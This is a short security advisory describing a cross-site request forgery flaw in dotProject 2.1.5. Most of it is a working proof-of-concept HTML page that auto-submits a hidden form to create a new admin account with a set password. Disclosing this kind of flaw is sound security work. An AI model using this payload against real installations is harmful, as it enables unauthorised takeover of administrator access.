Home
Consulting
Advisories
Software
Articles
Contact

dotProject 2.1.5 Cross-site Request Forgery

Legacy Advisories

Description

A cross-site request forgery vulnerability in dotProject 2.1.5 can be exploited to create a new admin.

Proof Of Concept

<html>
    <body onload="document.forms[0].submit()">
        <form method="POST" action="http://localhost/dotproject/index.php?m=admin">
            <input type="hidden" name="user_id" value="0" />
            <input type="hidden" name="contact_id" value="0" />
            <input type="hidden" name="dosql" value="do_user_aed" />
            <input type="hidden" name="username_min_len" value="4)" />
            <input type="hidden" name="password_min_len" value="4)" />
            <input type="hidden" name="user_username" value="new_admin" />
            <input type="hidden" name="user_type" value="1" />
            <input type="hidden" name="user_role" value="11" />
            <input type="hidden" name="user_password" value="Password1" />
            <input type="hidden" name="password_check" value="Password1" />
            <input type="hidden" name="contact_first_name" value="x" />
            <input type="hidden" name="contact_last_name" value="x" />
            <input type="hidden" name="contact_company" value="0" />
            <input type="hidden" name="contact_department" value="" />
            <input type="hidden" name="contact_email" value="x@x.com" />
            <input type="hidden" name="user_signature" value="" />
        </form>
    </body>
</html>


Copyright © 2018 AutoSec Tools LLC